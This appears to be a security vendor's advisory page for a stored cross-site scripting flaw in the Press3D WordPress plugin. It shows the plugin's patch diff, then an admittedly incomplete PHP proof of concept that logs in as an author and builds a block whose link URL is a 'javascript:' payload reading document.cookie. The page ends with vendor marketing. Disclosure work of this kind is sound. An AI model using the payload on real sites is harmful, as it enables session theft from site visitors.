+        $units = ['px' => 'px', '%' => '%', 'em' => 'em', 'rem' => 'rem', 'vh' => 'vh', 'vw' => 'vw'];
+        foreach ($units as $unitOption => $unitLabel) {
+            $selected = selected($unitValue, $unitOption, false);
+            echo '<option value="' . esc_attr($unitOption) . '" ' . esc_attr($selected) . '>';
+            echo esc_html($unitLabel);
+            echo '</option>';
+        }
+
+        echo '</select>';
+        echo '</div>';
+    }
+
+    /**
+     * Validate field value
+     *
+     * @param string $value
+     * @param string $validationType
+     * @return string|null Error message or null if valid
+     */
+    protected function validateField(string $value, string $validationType): ?string
+    {
+        if (empty($value)) {
+            return null; // Empty values are allowed
+        }
+
+        switch ($validationType) {
+            case 'url':
+                if (!filter_var($value, FILTER_VALIDATE_URL)) {
+                    return __('Please enter a valid URL', 'press3d');
+                }
+                break;
+
+            case 'email':
+                if (!filter_var($value, FILTER_VALIDATE_EMAIL)) {
+                    return __('Please enter a valid email address', 'press3d');
+                }
+                break;
+
+            case 'number':
+                if (!is_numeric($value)) {
+                    return __('Please enter a valid number', 'press3d');
+                }
+                break;
+        }
+
+        return null;
+    }
+
+    /**
+     * Returns Input error message
+     *
+     * @param string $message
+     * @return string
+     */
+    protected function createInputErrorMessage(string $message): string
+    {
+        return '<div class="notice notice-error inline"><p>' . esc_html($message) . '</p></div>';
+    }
+}
--- a/press3d/src/Admin/Settings/FieldSanitizer.php
+++ b/press3d/src/Admin/Settings/FieldSanitizer.php
@@ -0,0 +1,100 @@
+<?php
+
+namespace AriesLabPress3dAdminSettings;
+
+/**
+ * Field Sanitizer
+ *
+ * Handles sanitization and validation of all field types
+ */
+class FieldSanitizer
+{
+    /**
+     * Sanitize input based on field configuration
+     *
+     * @param array $input Raw input from form
+     * @param array $config Field configuration
+     * @return array Sanitized input
+     */
+    public static function sanitize(array $input, array $config): array
+    {
+        $sanitizedInput = [];
+
+        // Iterate through all configured fields
+        foreach ($config as $section) {
+            foreach ($section['fields'] as $fieldKey => $fieldConfig) {
+                // Dimension fields don't have a direct input value, skip the check
+                if ($fieldConfig['type'] === 'dimension') {
+                    // Process dimension fields directly
+                    $valueKey = $fieldConfig['value_key'];
+                    $unitKey = $fieldConfig['unit_key'];
+
+                    // Sanitize value (number)
+                    if (isset($input[$valueKey])) {
+                        $sanitizedInput[$valueKey] = is_numeric($input[$valueKey]) ? $input[$valueKey] : $fieldConfig['default_value'];
+                    } else {
+                        $sanitizedInput[$valueKey] = $fieldConfig['default_value'];
+                    }
+
+                    // Sanitize unit (select)
+                    if (isset($input[$unitKey])) {
+                        $sanitizedInput[$unitKey] = sanitize_text_field($input[$unitKey]);
+                    } else {
+                        $sanitizedInput[$unitKey] = $fieldConfig['default_unit'];
+                    }
+                    continue;
+                }
+
+                if (!isset($input[$fieldKey])) {
+                    // Handle checkboxes (unchecked = not in input)
+                    if ($fieldConfig['type'] === 'checkbox') {
+                        $sanitizedInput[$fieldKey] = '';
+                    }
+                    continue;
+                }
+
+                $value = $input[$fieldKey];
+
+                // Sanitize based on field type
+                switch ($fieldConfig['type']) {
+                    case 'url':
+                        $sanitizedInput[$fieldKey] = esc_url_raw($value);
+                        break;
+
+                    case 'email':
+                        $sanitizedInput[$fieldKey] = sanitize_email($value);
+                        break;
+
+                    case 'number':
+                        $sanitizedInput[$fieldKey] = is_numeric($value) ? $value : '';
+                        break;
+
+                    case 'textarea':
+                        $sanitizedInput[$fieldKey] = sanitize_textarea_field($value);
+                        break;
+
+                    case 'checkbox':
+                        $sanitizedInput[$fieldKey] = $value ? '1' : '';
+                        break;
+
+                    case 'color':
+                        // Validate hex color format or allow empty
+                        if (empty($value) || preg_match('/^#[a-f0-9]{6}$/i', $value)) {
+                            $sanitizedInput[$fieldKey] = sanitize_text_field($value);
+                        } else {
+                            $sanitizedInput[$fieldKey] = '';
+                        }
+                        break;
+
+                    case 'text':
+                    case 'select':
+                    default:
+                        $sanitizedInput[$fieldKey] = sanitize_text_field($value);
+                        break;
+                }
+            }
+        }
+
+        return $sanitizedInput;
+    }
+}
--- a/press3d/src/Admin/Settings/Settings.php
+++ b/press3d/src/Admin/Settings/Settings.php
@@ -0,0 +1,346 @@
+<?php
+
+namespace AriesLabPress3dAdminSettings;
+
+use AriesLabPress3dCfg;
+use AriesLabPress3dAdminSettingsFieldConfig;
+use AriesLabPress3dAdminSettingsFieldRenderer;
+use AriesLabPress3dAdminSettingsFieldSanitizer;
+
+class Settings
+{
+    /**
+     * Setting constants
+     */
+    public const PAGE_SLUG = 'press3d-admin';
+
+    public const PRESS3D_OPTION_NAME = 'press3d_option';
+    public const PRESS3D_OPTIONS_GROUP = 'press3d_options_group';
+
+    /**
+     * Holds the values to be used in the fields callbacks
+     * @var array
+     */
+    protected $options;
+
+    /**
+     * Configuration for all settings sections and fields
+     *
+     * @return array
+     */
+    protected function getFieldsConfig(): array
+    {
+        $sections = FieldConfig::getSections();
+
+        // Set callbacks for special sections
+        $sections['support']['callback'] = [$this, 'renderSupportSection'];
+        $sections['about']['callback'] = [$this, 'renderAboutSection'];
+
+        return $sections;
+    }
+
+    /**
+     * Render support section
+     */
+    public function renderSupportSection()
+    {
+        $pluginUrl = Cfg::dirUrl();
+        echo '<p>' . esc_html__('If you find this plugin helpful, consider supporting its development. Your contribution helps maintain and improve Press3D.', 'press3d') . '</p>';
+        echo '<a href="https://buymeacoffee.com/arieslab" target="_blank" rel="noopener noreferrer">
+            <img src="' . esc_url($pluginUrl . 'assets/dist/images/coffee-blue.png') . '" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" >
+            </a>';
+    }
+
+    /**
+     * Render about section
+     */
+    public function renderAboutSection()
+    {
+        $pluginUrl = Cfg::dirUrl();
+        ?>
+        <div class="press3d-about-logo">
+            <img src="<?php echo esc_url($pluginUrl . 'assets/dist/images/arieslab-logo.png'); ?>" alt="AriesLab">
+        </div>
+        <div class="press3d-about-content">
+            <p><?php echo wp_kses_post(__('Press3D is an independent project by <strong>AriesLab</strong>, bringing interactive 3D models to WordPress.', 'press3d')); ?></p>
+            <p><?php esc_html_e('Thank you for using Press3D! We hope it helps you create amazing 3D experiences on your WordPress site.', 'press3d'); ?></p>
+        </div>
+        <?php
+    }
+
+    /**
+     * Add submenu page to the Settings main menu.
+     */
+    public function addOptionsMenu()
+    {
+        add_options_page(
+            'Press3D',
+            'Press3D',
+            'manage_options',
+            self::PAGE_SLUG,
+            [$this, 'createAdminPage']
+        );
+    }
+
+    /**
+     * Register and add settings
+     */
+    public function pageOptionsInit()
+    {
+        register_setting(
+            self::PRESS3D_OPTIONS_GROUP,
+            self::PRESS3D_OPTION_NAME,
+            [$this, 'sanitize']
+        );
+
+        $config = $this->getFieldsConfig();
+
+        foreach ($config as $sectionKey => $section) {
+            $sectionId = $section['id'];
+            $pageSlug = self::PAGE_SLUG . '_' . $sectionKey;
+
+            add_settings_section(
+                $sectionId,
+                $section['title'],
+                $section['callback'] ?? null,
+                $pageSlug
+            );
+
+            foreach ($section['fields'] as $fieldKey => $fieldConfig) {
+                add_settings_field(
+                    $fieldKey,
+                    $fieldConfig['title'],
+                    [$this, 'renderField'],
+                    $pageSlug,
+                    $sectionId,
+                    [
+                        'field_key' => $fieldKey,
+                        'field_config' => $fieldConfig,
+                    ]
+                );
+            }
+        }
+    }
+
+    /**
+     * Generic field renderer based on field type
+     *
+     * @param array $args
+     */
+    public function renderField(array $args)
+    {
+        // Ensure options are loaded and is always an array
+        if (!$this->options) {
+            $this->options = get_option(self::PRESS3D_OPTION_NAME);
+        }
+
+        // Ensure options is always an array (get_option can return false)
+        if (!is_array($this->options)) {
+            $this->options = [];
+        }
+
+        // Delegate to FieldRenderer
+        $renderer = new FieldRenderer(
+            $this->options,
+            self::PRESS3D_OPTION_NAME
+        );
+
+        $renderer->render($args);
+    }
+
+    /**
+     * Options page callback
+     */
+    public function createAdminPage()
+    {
+        // Set class property - ensure it's always an array
+        $this->options = get_option(self::PRESS3D_OPTION_NAME);
+        if (!is_array($this->options)) {
+            $this->options = [];
+        }
+
+        $pluginUrl = Cfg::dirUrl();
+        ?>
+        <div class="wrap">
+            <h1 style="display: none;"><?php esc_html_e('Press3D', 'press3d'); ?></h1>
+
+            <div class="press3d-settings-wrapper">
+                <div class="press3d-settings-header">
+                    <img src="<?php echo esc_url($pluginUrl . 'assets/dist/images/press3d-logo.png'); ?>" alt="Press3D">
+                    <div class="press3d-settings-header-content">
+                        <h1><?php esc_html_e('Press3D Configuration', 'press3d'); ?></h1>
+                        <p><?php esc_html_e('Interactive 3D model viewer for WordPress', 'press3d'); ?></p>
+                    </div>
+                </div>
+
+                <form method="post" action="options.php">
+                <?php
+                // This prints out all hidden setting fields
+                settings_fields(self::PRESS3D_OPTIONS_GROUP);
+
+                // Render each section in a styled container
+                $config = $this->getFieldsConfig();
+                foreach ($config as $sectionKey => $section) {
+                    $sectionClass = 'press3d-settings-section';
+                    if ($sectionKey === 'support') {
+                        $sectionClass .= ' press3d-support-section';
+                    } elseif ($sectionKey === 'about') {
+                        $sectionClass .= ' press3d-about-section';
+                    }
+                    echo '<div class="' . esc_attr($sectionClass) . '">';
+                    do_settings_sections(self::PAGE_SLUG . '_' . $sectionKey);
+                    echo '</div>';
+                }
+                ?>
+
+                <div class="press3d-buttons-wrapper">
+                    <?php submit_button(__('Save Settings', 'press3d'), 'primary', 'submit', false); ?>
+                    <button type="button" id="press3d-reset-defaults" class="button button-secondary">
+                        <?php esc_html_e('Reset to Defaults', 'press3d'); ?>
+                    </button>
+                    <span class="press3d-reset-message"></span>
+                </div>
+
+                </form>
+            </div>
+        </div>
+        <?php
+    }
+
+    /**
+     * Sanitize each setting field as needed
+     *
+     * @param array $input Contains all settings fields as array keys
+     *
+     * @return array
+     */
+    public function sanitize($input): array
+    {
+        $config = $this->getFieldsConfig();
+        return FieldSanitizer::sanitize($input, $config);
+    }
+
+    /**
+     * Returns options by name. If not exists returns $default
+     *
+     * @param string $key
+     * @param mixed $default
+     *
+     * @return mixed
+     */
+    public static function getOption(string $key, $default = null)
+    {
+        if ($option = get_option(self::PRESS3D_OPTION_NAME)) {
+            return isset($option[$key]) ? $option[$key] : $default;
+        }
+
+        return $default;
+    }
+
+    /**
+     * Get default model color
+     *
+     * @return string|null Hex color string or null if not set
+     */
+    public static function getDefaultColor(): ?string
+    {
+        $color = self::getOption('default_color', '');
+        return !empty($color) ? $color : null;
+    }
+
+    /**
+     * Get default zoom level
+     *
+     * @return float
+     */
+    public static function getDefaultZoom(): float
+    {
+        return (float) self::getOption('default_zoom', 0.7);
+    }
+
+    /**
+     * Get loading animation style
+     *
+     * @return string
+     */
+    public static function getLoadingStyle(): string
+    {
+        return self::getOption('loading_style', 'spinner');
+    }
+
+    /**
+     * Get default canvas width (value + unit)
+     *
+     * @return string
+     */
+    /**
+     * Get default canvas width value
+     *
+     * @return string
+     */
+    public static function getDefaultWidthValue(): string
+    {
+        return self::getOption('default_width_value', '100');
+    }
+
+    /**
+     * Get default canvas width unit
+     *
+     * @return string
+     */
+    public static function getDefaultWidthUnit(): string
+    {
+        return self::getOption('default_width_unit', '%');
+    }
+
+    /**
+     * Get default canvas width (value + unit)
+     *
+     * @return string
+     */
+    public static function getDefaultWidth(): string
+    {
+        return self::getDefaultWidthValue() . self::getDefaultWidthUnit();
+    }
+
+    /**
+     * Get default canvas height value
+     *
+     * @return string
+     */
+    public static function getDefaultHeightValue(): string
+    {
+        return self::getOption('default_height_value', '300');
+    }
+
+    /**
+     * Get default canvas height unit
+     *
+     * @return string
+     */
+    public static function getDefaultHeightUnit(): string
+    {
+        return self::getOption('default_height_unit', 'px');
+    }
+
+    /**
+     * Get default canvas height (value + unit)
+     *
+     * @return string
+     */
+    public static function getDefaultHeight(): string
+    {
+        return self::getDefaultHeightValue() . self::getDefaultHeightUnit();
+    }
+
+    /**
+     * Returns Input error message
+     *
+     * @param string $message
+     * @return string
+     */
+    protected function createInputErrorMessage(string $message): string
+    {
+        return '<br /><span style="margin-left: 0.5rem; color: red;">' . esc_html($message) . '</span>';
+    }
+}
--- a/press3d/src/Cfg.php
+++ b/press3d/src/Cfg.php
@@ -5,7 +5,7 @@
 final class Cfg
 {
     public const PLUGIN_NAME = 'press3d';
-    public const PLUGIN_VERSION = '1.0.0';
+    public const PLUGIN_VERSION = '1.1.0';

     private static ?string $pluginBasename = null;
     private static ?string $dirPath = null;
--- a/press3d/src/Front/Front.php
+++ b/press3d/src/Front/Front.php
@@ -2,7 +2,7 @@

 namespace AriesLabPress3dFront;

-use AriesLabPress3dAdminSettings;
+use AriesLabPress3dAdminSettingsSettings;
 use AriesLabPress3dCfg;
 use AriesLabPress3dHelpers;

--- a/press3d/src/Front/Shortcode.php
+++ b/press3d/src/Front/Shortcode.php
@@ -45,7 +45,7 @@
                     $state['pluginVersion'] = Cfg::PLUGIN_VERSION;
                 }
                 $b64 = base64_encode(json_encode($state));
-                return '<div class="press3d-shortcode" style="width: 100%; height: 250px;" data-b64="' . $b64 . '"></div>';
+                return '<div class="press3d-shortcode" style="width: 100%; height: 250px;" data-b64="' . esc_attr($b64) . '"></div>';
             }
         }

--- a/press3d/src/Plugin.php
+++ b/press3d/src/Plugin.php
@@ -56,7 +56,7 @@
         $this->getLoader()->addAction('init', $admin, 'registerBlocks');
         $this->getLoader()->addAction('init', $admin, 'registerAttachmentMeta');

-        $settings = new AdminSettings();
+        $settings = new AdminSettingsSettings();
         $this->getLoader()->addAction('admin_menu', $settings, 'addOptionsMenu');
         $this->getLoader()->addAction('admin_init', $settings, 'pageOptionsInit');
         $this->getLoader()->addFilter('plugin_action_links_' . Cfg::pluginBasename(), $this, 'pluginActionLinks');
@@ -116,7 +116,7 @@
      */
     public function pluginActionLinks($links)
     {
-        $settingsLink = '<a href="options-general.php?page=' . esc_attr(AdminSettings::PAGE_SLUG) . '">' . esc_html__('Settings', 'press3d') . '</a>';
+        $settingsLink = '<a href="options-general.php?page=' . esc_attr(AdminSettingsSettings::PAGE_SLUG) . '">' . esc_html__('Settings', 'press3d') . '</a>';
         array_push($links, $settingsLink);
         return $links;
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1985 - Press3D <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model Block

<?php
/**
 * Proof of Concept for CVE-2026-1985
 * Demonstrates stored XSS via javascript: URL in Press3D 3D Model block
 * Requires valid WordPress author credentials
 */

$target_url = 'https://example.com/wp-admin/'; // CHANGE THIS
$username = 'author_user'; // CHANGE THIS
$password = 'author_pass'; // CHANGE THIS

// Payload to execute when user clicks the 3D model
$javascript_payload = 'javascript:alert(document.cookie);';

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce and cookies
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Extract login nonce from response (simplified - real implementation needs proper parsing)
preg_match('/name="log"[^>]*>/', $response, $matches);

// Step 2: Submit login credentials
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . 'index.php',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . 'wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 3: Create a new post with the malicious 3D Model block
// This assumes the user has access to the block editor
$post_data = array(
    'title' => 'Malicious 3D Model Post',
    'content' => '<!-- wp:press3d/model {"linkUrl":"' . $javascript_payload . '","linkOpenInNewTab":false} -->
<div class="wp-block-press3d-model"><!-- Press3D Model Block --></div>
<!-- /wp:press3d/model -->',
    'status' => 'publish'
);

// Note: Actual implementation would need to use WordPress REST API
// or simulate Gutenberg editor requests with proper nonces
// This PoC demonstrates the concept but requires adaptation for specific environments

curl_close($ch);

echo "Proof of Concept completed. If authentication succeeded, a post containingn";
echo "a malicious 3D Model block with javascript: URL payload was created.n";
echo "When users click the 3D model, the payload executes in their browser.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School